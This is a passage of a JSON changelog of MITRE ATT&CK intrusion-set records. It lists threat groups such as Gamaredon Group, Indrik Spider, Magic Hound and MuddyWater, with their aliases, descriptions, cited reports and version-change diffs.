" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-05-26 20:09:39.139000+00:00", + "modified": "2024-07-10 18:53:44.277000+00:00", + "name": "Blue Mockingbird", + "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.(Citation: RedCanary Mockingbird May 2020)", + "aliases": [ + "Blue Mockingbird" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0108", + "external_id": "G0108" + }, + { + "source_name": "RedCanary Mockingbird May 2020", + "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.", + "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tony Lambert, Red Canary" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-07-10 18:53:44.277000+00:00\", \"old_value\": \"2024-04-11 02:50:01.851000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:09.849000+00:00", + "modified": "2024-09-23 20:34:43.022000+00:00", + "name": "Gamaredon Group", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word \"Armageddon\", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)\n\nIn November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)", + "aliases": [ + "Gamaredon Group", + "IRON TILDEN", + "Primitive Bear", + "ACTINIUM", + "Armageddon", + "Shuckworm", + "DEV-0157", + "Aqua Blizzard" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0047", + "external_id": "G0047" + }, + { + "source_name": "ACTINIUM", + "description": "(Citation: Microsoft Actinium February 2022)" + }, + { + "source_name": "DEV-0157", + "description": "(Citation: Microsoft Actinium February 2022)" + }, + { + "source_name": "Aqua Blizzard", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Gamaredon Group", + "description": "(Citation: Palo Alto Gamaredon Feb 2017)" + }, + { + "source_name": "IRON TILDEN", + "description": "(Citation: Secureworks IRON TILDEN Profile)" + }, + { + "source_name": "Armageddon", + "description": "(Citation: Symantec Shuckworm January 2022)" + }, + { + "source_name": "Shuckworm", + "description": "(Citation: Symantec Shuckworm January 2022)" + }, + { + "source_name": "Primitive Bear", + "description": "(Citation: Unit 42 Gamaredon February 2022)" + }, + { + "source_name": "ESET Gamaredon June 2020", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/" + }, + { + "source_name": "TrendMicro Gamaredon April 2020", + "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/" + }, + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Microsoft Actinium February 2022", + "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/" + }, + { + "source_name": "Secureworks IRON TILDEN Profile", + "description": "Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022.", + "url": "https://www.secureworks.com/research/threat-profiles/iron-tilden" + }, + { + "source_name": "Symantec Shuckworm January 2022", + "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine" + }, + { + "source_name": "Bleepingcomputer Gamardeon FSB November 2021", + "description": "Toulas, B. (2018, November 4). Ukraine links members of Gamaredon hacker group to Russian FSB. Retrieved April 15, 2022.", + "url": "https://www.bleepingcomputer.com/news/security/ukraine-links-members-of-gamaredon-hacker-group-to-russian-fsb/" + }, + { + "source_name": "Unit 42 Gamaredon February 2022", + "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.", + "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "ESET", + "Trend Micro Incorporated", + "Yoshihiro Kori, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "3.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-23 20:34:43.022000+00:00\", \"old_value\": \"2023-12-04 18:11:02.073000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.1\", \"old_value\": \"3.0\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][2]\": \"Yoshihiro Kori, NEC Corporation\", \"root['x_mitre_contributors'][3]\": \"Manikantan Srinivasan, NEC Corporation India\", \"root['x_mitre_contributors'][4]\": \"Pooja Natarajan, NEC Corporation India\"}}", + "previous_version": "3.0", + "version_change": "3.0 \u2192 3.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2024-08-14 15:24:19.141000+00:00", + "name": "HEXANE", + "description": "[HEXANE](https://attack.mitre.org/groups/G1001) is a cyber espionage threat group that has targeted oil & gas, telecommunications, aviation, and internet service provider organizations since at least 2017. Targeted companies have been located in the Middle East and Africa, including Israel, Saudi Arabia, Kuwait, Morocco, and Tunisia. [HEXANE](https://attack.mitre.org/groups/G1001)'s TTPs appear similar to [APT33](https://attack.mitre.org/groups/G0064) and [OilRig](https://attack.mitre.org/groups/G0049) but due to differences in victims and tools it is tracked as a separate entity.(Citation: Dragos Hexane)(Citation: Kaspersky Lyceum October 2021)(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)", + "aliases": [ + "HEXANE", + "Lyceum", + "Siamesekitten", + "Spirlin" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1001", + "external_id": "G1001" + }, + { + "source_name": "Spirlin", + "description": "(Citation: Accenture Lyceum Targets November 2021)" + }, + { + "source_name": "Siamesekitten", + "description": "(Citation: ClearSky Siamesekitten August 2021)" + }, + { + "source_name": "Lyceum", + "description": "(Citation: SecureWorks August 2019)" + }, + { + "source_name": "Accenture Lyceum Targets November 2021", + "description": "Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022.", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns" + }, + { + "source_name": "ClearSky Siamesekitten August 2021", + "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022.", + "url": "https://www.clearskysec.com/siamesekitten/" + }, + { + "source_name": "Dragos Hexane", + "description": "Dragos. (n.d.). Hexane. Retrieved October 27, 2019.", + "url": "https://dragos.com/resource/hexane/" + }, + { + "source_name": "Kaspersky Lyceum October 2021", + "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.", + "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf" + }, + { + "source_name": "SecureWorks August 2019", + "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 ", + "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dragos Threat Intelligence", + "Mindaugas Gudzis, BT Security" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-14 15:24:19.141000+00:00\", \"old_value\": \"2024-02-09 19:27:00.371000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}}", + "previous_version": "2.2", + "version_change": "2.2 \u2192 2.3" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-01-06 17:46:35.134000+00:00", + "modified": "2024-10-28 19:11:56.485000+00:00", + "name": "Indrik Spider", + "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that has been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware. Following U.S. sanctions and an indictment in 2019, [Indrik Spider](https://attack.mitre.org/groups/G0119) changed their tactics and diversified their toolset.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)", + "aliases": [ + "Indrik Spider", + "Evil Corp", + "Manatee Tempest", + "DEV-0243", + "UNC2165" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0119", + "external_id": "G0119" + }, + { + "source_name": "Evil Corp", + "description": "(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)" + }, + { + "source_name": "UNC2165", + "description": "(Citation: Mandiant_UNC2165)" + }, + { + "source_name": "Manatee Tempest", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "DEV-0243", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Crowdstrike Indrik November 2018", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/" + }, + { + "source_name": "Mandiant_UNC2165", + "description": "Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Crowdstrike EvilCorp March 2021", + "description": "Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.", + "url": "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/" + }, + { + "source_name": "Treasury EvilCorp Dec 2019", + "description": "U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.", + "url": "https://home.treasury.gov/news/press-releases/sm845" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jennifer Kim Roman, CrowdStrike", + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "4.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-28 19:11:56.485000+00:00\", \"old_value\": \"2024-04-17 22:10:56.266000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"4.1\", \"old_value\": \"4.0\"}}, \"iterable_item_added\": {\"root['aliases'][4]\": \"UNC2165\", \"root['external_references'][2]\": {\"source_name\": \"UNC2165\", \"description\": \"(Citation: Mandiant_UNC2165)\"}, \"root['external_references'][6]\": {\"source_name\": \"Mandiant_UNC2165\", \"description\": \"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/\"}, \"root['x_mitre_contributors'][1]\": \"Liran Ravich, CardinalOps\"}}", + "previous_version": "4.0", + "version_change": "4.0 \u2192 4.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16 16:13:52.465000+00:00", + "modified": "2024-07-10 18:56:00.833000+00:00", + "name": "Magic Hound", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted European, U.S., and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021)", + "aliases": [ + "Magic Hound", + "TA453", + "COBALT ILLUSION", + "Charming Kitten", + "ITG18", + "Phosphorus", + "Newscaster", + "APT35", + "Mint Sandstorm" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0059", + "external_id": "G0059" + }, + { + "source_name": "Charming Kitten", + "description": "(Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022)" + }, + { + "source_name": "APT35", + "description": "(Citation: FireEye APT35 2018)(Citation: Certfa Charming Kitten January 2021)(Citation: Check Point APT35 CharmPower January 2022)" + }, + { + "source_name": "ITG18", + "description": "(Citation: IBM ITG18 2020)" + }, + { + "source_name": "Phosphorus", + "description": "(Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)(Citation: Certfa Charming Kitten January 2021)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022)" + }, + { + "source_name": "Mint Sandstorm", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "TA453", + "description": "(Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)(Citation: Check Point APT35 CharmPower January 2022)" + }, + { + "source_name": "COBALT ILLUSION", + "description": "(Citation: Secureworks COBALT ILLUSION Threat Profile)" + }, + { + "source_name": "Magic Hound", + "description": "(Citation: Unit 42 Magic Hound Feb 2017)" + }, + { + "source_name": "Microsoft Phosphorus Mar 2019", + "description": "Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020.", + "url": "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/" + }, + { + "source_name": "Microsoft Phosphorus Oct 2020", + "description": "Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021.", + "url": "https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/" + }, + { + "source_name": "Certfa Charming Kitten January 2021", + "description": "Certfa Labs. (2021, January 8). Charming Kitten\u2019s Christmas Gift. Retrieved May 3, 2021.", + "url": "https://blog.certfa.com/posts/charming-kitten-christmas-gift/" + }, + { + "source_name": "Check Point APT35 CharmPower January 2022", + "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.", + "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/" + }, + { + "source_name": "ClearSky Charming Kitten Dec 2017", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + }, + { + "source_name": "ClearSky Kittens Back 2 Oct 2019", + "description": "ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021.", + "url": "https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf" + }, + { + "source_name": "ClearSky Kittens Back 3 August 2020", + "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf" + }, + { + "source_name": "Eweek Newscaster and Charming Kitten May 2014", + "description": "Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021.", + "url": "https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering" + }, + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + }, + { + "source_name": "Newscaster", + "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)" + }, + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Proofpoint TA453 July2021", + "description": "Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453" + }, + { + "source_name": "Proofpoint TA453 March 2021", + "description": "Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential" + }, + { + "source_name": "Secureworks COBALT ILLUSION Threat Profile", + "description": "Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021.", + "url": "https://www.secureworks.com/research/threat-profiles/cobalt-illusion" + }, + { + "source_name": "US District Court of DC Phosphorus Complaint 2019", + "description": "US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021.", + "url": "https://noticeofpleadings.com/phosphorus/files/Complaint.pdf" + }, + { + "source_name": "IBM ITG18 2020", + "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.", + "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Anastasios Pingios", + "Bryan Lee", + "Daniyal Naeem, BT Security" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "6.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-07-10 18:56:00.833000+00:00\", \"old_value\": \"2024-01-08 21:54:31.501000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"6.1\", \"old_value\": \"6.0\"}}}", + "previous_version": "6.0", + "version_change": "6.0 \u2192 6.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-08-29 14:59:08.071000+00:00", + "name": "MuddyWater", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of Intelligence and Security (MOIS).(Citation: CYBERCOM Iranian Intel Cyber January 2022) Since at least 2017, [MuddyWater](https://attack.mitre.org/groups/G0069) has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Talos MuddyWater Jan 2022)", + "aliases": [ + "MuddyWater", + "Earth Vetala", + "MERCURY", + "Static Kitten", + "Seedworm", + "TEMP.Zagros", + "Mango Sandstorm", + "TA450" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0069", + "external_id": "G0069" + }, + { + "source_name": "MERCURY", + "description": "(Citation: Anomali Static Kitten February 2021)" + }, + { + "source_name": "Static Kitten", + "description": "(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "TEMP.Zagros", + "description": "(Citation: FireEye MuddyWater Mar 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "Mango Sandstorm", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "TA450", + "description": "(Citation: Proofpoint TA450 Phishing March 2024)" + }, + { + "source_name": "Seedworm", + "description": "(Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "Earth Vetala", + "description": "(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "MuddyWater", + "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "source_name": "ClearSky MuddyWater June 2019", + "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020.", + "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf" + }, + { + "source_name": "CYBERCOM Iranian Intel Cyber January 2022", + "description": "Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.", + "url": "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/" + }, + { + "source_name": "DHS CISA AA22-055A MuddyWater February 2022", + "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a" + }, + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "Talos MuddyWater Jan 2022", + "description": "Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.", + "url": "https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html" + }, + { + "source_name": "Anomali Static Kitten February 2021", + "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.", + "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Proofpoint TA450 Phishing March 2024", + "description": "Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign" + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html" + }, + { + "source_name": "Reaqta MuddyWater November 2017", + "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.", + "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/" + }, + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": 